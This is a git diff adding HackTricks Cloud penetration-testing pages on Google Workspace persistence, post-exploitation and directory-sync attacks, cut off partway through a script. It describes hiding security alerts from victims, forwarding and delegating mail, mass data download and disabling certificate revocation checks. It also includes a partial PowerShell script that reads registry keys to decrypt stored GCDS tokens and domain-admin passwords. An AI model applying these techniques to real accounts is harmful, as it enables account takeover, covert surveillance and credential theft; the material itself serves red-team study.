Normal file
210
pentesting-cloud/workspace-security/gws-persistence.md
Normal file
@@ -0,0 +1,210 @@
|
||||
# GWS - Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
All the actions mentioned in this section that change setting will generate a **security alert to the email and even a push notification to any mobile synced** with the account.
|
||||
{% endhint %}
|
||||
|
||||
## **Persistence in Gmail**
|
||||
|
||||
* You can create **filters to hide** security notifications from Google
|
||||
* `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
* This will prevent security emails to reach the email (but won't prevent push notifications to the mobile)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Steps to create a gmail filter</summary>
|
||||
|
||||
(Instructions from [**here**](https://support.google.com/mail/answer/6579))
|
||||
|
||||
1. Open [Gmail](https://mail.google.com/).
|
||||
2. In the search box at the top, click Show search options  .
|
||||
3. Enter your search criteria. If you want to check that your search worked correctly, see what emails show up by clicking **Search**.
|
||||
4. At the bottom of the search window, click **Create filter**.
|
||||
5. Choose what you’d like the filter to do.
|
||||
6. Click **Create filter**.
|
||||
|
||||
Check your current filter (to delete them) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (331).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Create **forwarding address to forward sensitive information** (or everything) - You need manual access.
|
||||
* Create a forwarding address in [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
|
||||
* The receiving address will need to confirm this
|
||||
* Then, set to forward all the emails while keeping a copy (remember to click on save changes):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (332).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's also possible create filters and forward only specific emails to the other email address.
|
||||
|
||||
## App passwords
|
||||
|
||||
If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) (follow the link to see the steps). Note that **App passwords are no longer recommended by Google and are revoked** when the user **changes his Google Account password.**
|
||||
|
||||
**Even if you have an open session you will need to know the password of the user to create an app password.**
|
||||
|
||||
{% hint style="info" %}
|
||||
App passwords can **only be used with accounts that have 2-Step Verification** turned on.
|
||||
{% endhint %}
|
||||
|
||||
## Change 2-FA and similar
|
||||
|
||||
It's also possible to **turn off 2-FA or to enrol a new device** (or phone number) in this page [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
|
||||
**It's also possible to generate passkeys (add your own device), change the password, add mobile numbers for verification phones and recovery, change the recovery email and change the security questions).**
|
||||
|
||||
{% hint style="danger" %}
|
||||
To **prevent security push notifications** to reach the phone of the user, you could **sign his smartphone out** (although that would be weird) because you cannot sign him in again from here.
|
||||
|
||||
It's also possible to **locate the device.**
|
||||
{% endhint %}
|
||||
|
||||
**Even if you have an open session you will need to know the password of the user to change these settings.**
|
||||
|
||||
## Persistence via OAuth Apps
|
||||
|
||||
If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can be configure to **disallow unreviewed external and/or internal OAuth apps.**\
|
||||
It is pretty common for Workspace Organizations to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**.
|
||||
|
||||
Check the following page for more information about OAuth Apps:
|
||||
|
||||
{% content-ref url="gws-google-platforms-phishing/" %}
|
||||
[gws-google-platforms-phishing](gws-google-platforms-phishing/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Persistence via delegation
|
||||
|
||||
You can just **delegate the account** to a different account controlled by the attacker (if you are allowed to do this). In Workspace **Organizations** this option must be **enabled**. It can be disabled for everyone, enabled from some users/groups or for everyone (usually it's only enabled for some users/groups or completely disabled).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>If you are a Workspace admin check this to enable the feature</summary>
|
||||
|
||||
(Information [copied form the docs](https://support.google.com/a/answer/7223765))
|
||||
|
||||
As an administrator for your organization (for example, your work or school), you control whether users can delegate access to their Gmail account. You can let everyone have the option to delegate their account. Or, only let people in certain departments set up delegation. For example, you can:
|
||||
|
||||
* Add an administrative assistant as a delegate on your Gmail account so they can read and send email on your behalf.
|
||||
* Add a group, such as your sales department, in Groups as a delegate to give everyone access to one Gmail account.
|
||||
|
||||
Users can only delegate access to another user in the same organization, regardless of their domain or their organizational unit.
|
||||
|
||||
#### Delegation limits & restrictions
|
||||
|
||||
* **Allow users to grant their mailbox access to a Google group** option: To use this option, it must be enabled for the OU of the delegated account and for each group member's OU. Group members that belong to an OU without this option enabled can't access the delegated account.
|
||||
* With typical use, 40 delegated users can access a Gmail account at the same time. Above-average use by one or more delegates might reduce this number.
|
||||
* Automated processes that frequently access Gmail might also reduce the number of delegates who can access an account at the same time. These processes include APIs or browser extensions that access Gmail frequently.
|
||||
* A single Gmail account supports up to 1,000 unique delegates. A group in Groups counts as one delegate toward the limit.
|
||||
* Delegation does not increase the limits for a Gmail account. Gmail accounts with delegated users have the standard Gmail account limits and policies. For details, visit [Gmail limits and policies](https://support.google.com/a/topic/28609).
|
||||
|
||||
#### Step 1: Turn on Gmail delegation for your users
|
||||
|
||||
**Before you begin:** To apply the setting for certain users, put their accounts in an [organizational unit](https://support.google.com/a/topic/1227584).
|
||||
|
||||
1. [Sign in](https://admin.google.com/) to your [Google Admin console](https://support.google.com/a/answer/182076).
|
||||
|
||||
Sign in using an _administrator account_, not your current account CarlosPolop@gmail.com
|
||||
2. In the Admin console, go to Menu  **Apps****Google Workspace****Gmail****User settings**.
|
||||
3. To apply the setting to everyone, leave the top organizational unit selected. Otherwise, select a child [organizational unit](https://support.google.com/a/topic/1227584).
|
||||
4. Click **Mail delegation**.
|
||||
5. Check the **Let users delegate access to their mailbox to other users in the domain** box.
|
||||
6. (Optional) To let users specify what sender information is included in delegated messages sent from their account, check the **Allow users to customize this setting** box.
|
||||
7. Select an option for the default sender information that's included in messages sent by delegates:
|
||||
* **Show the account owner and the delegate who sent the email**—Messages include the email addresses of the Gmail account owner and the delegate.
|
||||
* **Show the account owner only**—Messages include the email address of only the Gmail account owner. The delegate email address is not included.
|
||||
8. (Optional) To let users add a group in Groups as a delegate, check the **Allow users to grant their mailbox access to a Google group** box.
|
||||
9. Click **Save**. If you configured a child organizational unit, you might be able to **Inherit** or **Override** a parent organizational unit's settings.
|
||||
10. (Optional) To turn on Gmail delegation for other organizational units, repeat steps 3–9.
|
||||
|
||||
Changes can take up to 24 hours but typically happen more quickly. [Learn more](https://support.google.com/a/answer/7514107)
|
||||
|
||||
#### Step 2: Have users set up delegates for their accounts
|
||||
|
||||
After you turn on delegation, your users go to their Gmail settings to assign delegates. Delegates can then read, send, and receive messages on behalf of the user.
|
||||
|
||||
For details, direct users to [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>From a regular suer, check here the instructions to try to delegate your access</summary>
|
||||
|
||||
(Info copied [**from the docs**](https://support.google.com/mail/answer/138350))
|
||||
|
||||
You can add up to 10 delegates.
|
||||
|
||||
If you're using Gmail through your work, school, or other organization:
|
||||
|
||||
* You can add up to 1000 delegates within your organization.
|
||||
* With typical use, 40 delegates can access a Gmail account at the same time.
|
||||
* If you use automated processes, such as APIs or browser extensions, a few delegates can access a Gmail account at the same time.
|
||||
|
||||
1. On your computer, open [Gmail](https://mail.google.com/). You can't add delegates from the Gmail app.
|
||||
2. In the top right, click Settings   **See all settings**.
|
||||
3. Click the **Accounts and Import** or **Accounts** tab.
|
||||
4. In the "Grant access to your account" section, click **Add another account**. If you’re using Gmail through your work or school, your organization may restrict email delegation. If you don’t see this setting, contact your admin.
|
||||
* If you don't see Grant access to your account, then it's restricted.
|
||||
5. Enter the email address of the person you want to add. If you’re using Gmail through your work, school, or other organization, and your admin allows it, you can enter the email address of a group. This group must have the same domain as your organization. External members of the group are denied delegation access.\
|
||||
\
|
||||
**Important:** If the account you delegate is a new account or the password was reset, the Admin must turn off the requirement to change password when you first sign in.
|
||||
|
||||
* [Learn how an Admin can create a user](https://support.google.com/a/answer/33310).
|
||||
* [Learn how an Admin can reset passwords](https://support.google.com/a/answer/33319).
|
||||
|
||||
6\. Click **Next Step**  **Send email to grant access**.
|
||||
|
||||
The person you added will get an email asking them to confirm. The invitation expires after a week.
|
||||
|
||||
If you added a group, all group members will become delegates without having to confirm.
|
||||
|
||||
Note: It may take up to 24 hours for the delegation to start taking effect.
|
||||
|
||||
</details>
|
||||
|
||||
## Persistence via Android App
|
||||
|
||||
If you have a **session inside victims google account** you can browse to the **Play Store** and might be able to **install malware** you have already uploaded to the store directly **to the phone** to maintain persistence and access the victims phone.
|
||||
|
||||
## **Persistence via** App Scripts
|
||||
|
||||
You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. For more information about how to do this check:
|
||||
|
||||
{% content-ref url="gws-google-platforms-phishing/gws-app-scripts.md" %}
|
||||
[gws-app-scripts.md](gws-google-platforms-phishing/gws-app-scripts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
* [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
100
pentesting-cloud/workspace-security/gws-post-exploitation.md
Normal file
100
pentesting-cloud/workspace-security/gws-post-exploitation.md
Normal file
@@ -0,0 +1,100 @@
|
||||
# GWS - Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Google Groups Privesc
|
||||
|
||||
By default in workspace a **group** can be **freely accessed** by any member of the organization.\
|
||||
Workspace also allow to **grant permission to groups** (even GCP permissions), so if groups can be joined and they have extra permissions, an attacker may **abuse that path to escalate privileges**.
|
||||
|
||||
You potentially need access to the console to join groups that allow to be joined by anyone in the org. Check groups information in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
|
||||
### Access Groups Mail info
|
||||
|
||||
If you managed to **compromise a google user session**, from [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) you can see the history of mails sent to the mail groups the user is member of, and you might find **credentials** or other **sensitive data**.
|
||||
|
||||
## GCP <--> GWS Pivoting
|
||||
|
||||
{% content-ref url="../gcp-security/gcp-to-workspace-pivoting/" %}
|
||||
[gcp-to-workspace-pivoting](../gcp-security/gcp-to-workspace-pivoting/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Takeout - Download Everything Google Knows about an account
|
||||
|
||||
If you have a **session inside victims google account** you can download everything Google saves about that account from [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
|
||||
|
||||
## Vault - Download all the Workspace data of users
|
||||
|
||||
If an organization has **Google Vault enabled**, you might be able to access [**https://vault.google.com**](https://vault.google.com/u/1/) and **download** all the **information**.
|
||||
|
||||
## Contacts download
|
||||
|
||||
From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es\&tab=mC) you can download all the **contacts** of the user.
|
||||
|
||||
## Cloudsearch
|
||||
|
||||
In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) you can just search **through all the Workspace content** (email, drive, sites...) a user has access to. Ideal to **quickly find sensitive information**.
|
||||
|
||||
## Google Chat
|
||||
|
||||
In [**https://mail.google.com/chat**](https://mail.google.com/chat) you can access a Google **Chat**, and you might find sensitive information in the conversations (if any).
|
||||
|
||||
## Google Drive Mining
|
||||
|
||||
When **sharing** a document you can **specify** the **people** that can access it one by one, **share** it with your **entire company** (**or** with some specific **groups**) by **generating a link**.
|
||||
|
||||
When sharing a document, in the advance setting you can also **allow people to search** for this file (by **default** this is **disabled**). However, it's important to note that once users views a document, it's searchable by them.
|
||||
|
||||
For sake of simplicity, most of the people will generate and share a link instead of adding the people that can access the document one by one.
|
||||
|
||||
Some proposed ways to find all the documents:
|
||||
|
||||
* Search in internal chat, forums...
|
||||
* **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
|
||||
|
||||
## **Keep Notes**
|
||||
|
||||
In [**https://keep.google.com/**](https://keep.google.com) you can access the notes of the user, **sensitive** **information** might be saved in here.
|
||||
|
||||
### Modify App Scripts
|
||||
|
||||
In [**https://script.google.com/**](https://script.google.com/) you can find the APP Scripts of the user.
|
||||
|
||||
## **Administrate Workspace**
|
||||
|
||||
In [**https://admin.google.com**/](https://admin.google.com), you might be able to modify the Workspace settings of the whole organization if you have enough permissions.
|
||||
|
||||
You can also find emails by searching through all the user's invoices in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
* [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,87 @@
|
||||
# GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## GCPW - Google Credential Provider for Windows
|
||||
|
||||
This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store **tokens** to access Google Workspace in some places in the PC: Disk, memory & the registry... it's even possible to obtain the **clear text password**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
|
||||
{% endhint %}
|
||||
|
||||
Find more information about this in:
|
||||
|
||||
{% content-ref url="gcpw-google-credential-provider-for-windows.md" %}
|
||||
[gcpw-google-credential-provider-for-windows.md](gcpw-google-credential-provider-for-windows.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## GCSD - Google Cloud Directory Sync
|
||||
|
||||
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
|
||||
|
||||
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
|
||||
{% hint style="success" %}
|
||||
Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
{% endhint %}
|
||||
|
||||
Find more information about this in:
|
||||
|
||||
{% content-ref url="gcds-google-cloud-directory-sync.md" %}
|
||||
[gcds-google-cloud-directory-sync.md](gcds-google-cloud-directory-sync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## GPS - Google Password Sync
|
||||
|
||||
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
|
||||
|
||||
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
|
||||
|
||||
{% hint style="success" %}
|
||||
Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
{% endhint %}
|
||||
|
||||
Find more information about this in:
|
||||
|
||||
{% content-ref url="gps-google-password-sync.md" %}
|
||||
[gps-google-password-sync.md](gps-google-password-sync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Admin Directory Sync
|
||||
|
||||
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
Find more information about this in:
|
||||
|
||||
{% content-ref url="gws-admin-directory-sync.md" %}
|
||||
[gws-admin-directory-sync.md](gws-admin-directory-sync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,371 @@
|
||||
# GCDS - Google Cloud Directory Sync
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basic Information
|
||||
|
||||
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
|
||||
|
||||
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
|
||||
{% hint style="info" %}
|
||||
To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
{% endhint %}
|
||||
|
||||
Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
|
||||
|
||||
### GCDS - Disk Tokens & AD Credentials
|
||||
|
||||
The binary `config-manager.exe` (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a **xml file** in the folder **`C:\Program Files\Google Cloud Directory Sync`** in a file called **`Untitled-1.xml`** by default. Although it could also be saved in the `Documents` of the user or in **any other folder**.
|
||||
|
||||
Moreover, the registry **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** inside the key **`open.recent`** contains the paths to all the recently opened configuration files (xmls). So it's possible to **check it to find them**.
|
||||
|
||||
The most interesting information inside the file would be:
|
||||
|
||||
```xml
|
||||
[...]
|
||||
<loginMethod>OAUTH2</loginMethod>
|
||||
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
|
||||
<oAuth2Scopes>
|
||||
<scope>https://www.google.com/m8/feeds/</scope>
|
||||
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
|
||||
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
|
||||
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
|
||||
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
|
||||
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
|
||||
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
|
||||
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
|
||||
<scope>https://www.googleapis.com/auth/plus.me</scope>
|
||||
</oAuth2Scopes>
|
||||
[...]
|
||||
<hostname>192.168.10.23</hostname>
|
||||
<port>389</port>
|
||||
<basedn>dc=hacktricks,dc=local</basedn>
|
||||
<authType>SIMPLE</authType>
|
||||
<authUser>DOMAIN\domain-admin</authUser>
|
||||
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
|
||||
[...]
|
||||
```
|
||||
|
||||
Note how the **refresh** **token** and the **password** of the user are **encrypted** using **AES CBC** with a randomly generated key and IV stored in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (wherever the **`prefs`** Java library store the preferences) in the string keys **`/Encryption/Policy/V2.iv`** and **`/Encryption/Policy/V2.key`** stored in base64.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Powershell script to decrypt the refresh token and the password</summary>
|
||||
|
||||
```powershell
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
|
||||
$ivKeyName = "/Encryption/Policy/V2.iv"
|
||||
$keyKeyName = "/Encryption/Policy/V2.key"
|
||||
|
||||
# Open the registry key
|
||||
try {
|
||||
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
|
||||
if (-not $regKey) {
|
||||
Throw "Registry key not found: HKCU\$regPath"
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Error "Failed to open registry key: $_"
|
||||
exit
|
||||
}
|
||||
|
||||
# Get Base64-encoded IV and Key from the registry
|
||||
try {
|
||||
$ivBase64 = $regKey.GetValue($ivKeyName)
|
||||
$ivBase64 = $ivBase64 -replace '/', ''
|
||||
$ivBase64 = $ivBase64 -replace '\\', '/'
|
||||
if (-not $ivBase64) {
|
||||
Throw "IV not found in registry"
|
||||
}
|
||||
$keyBase64 = $regKey.GetValue($keyKeyName)
|
||||
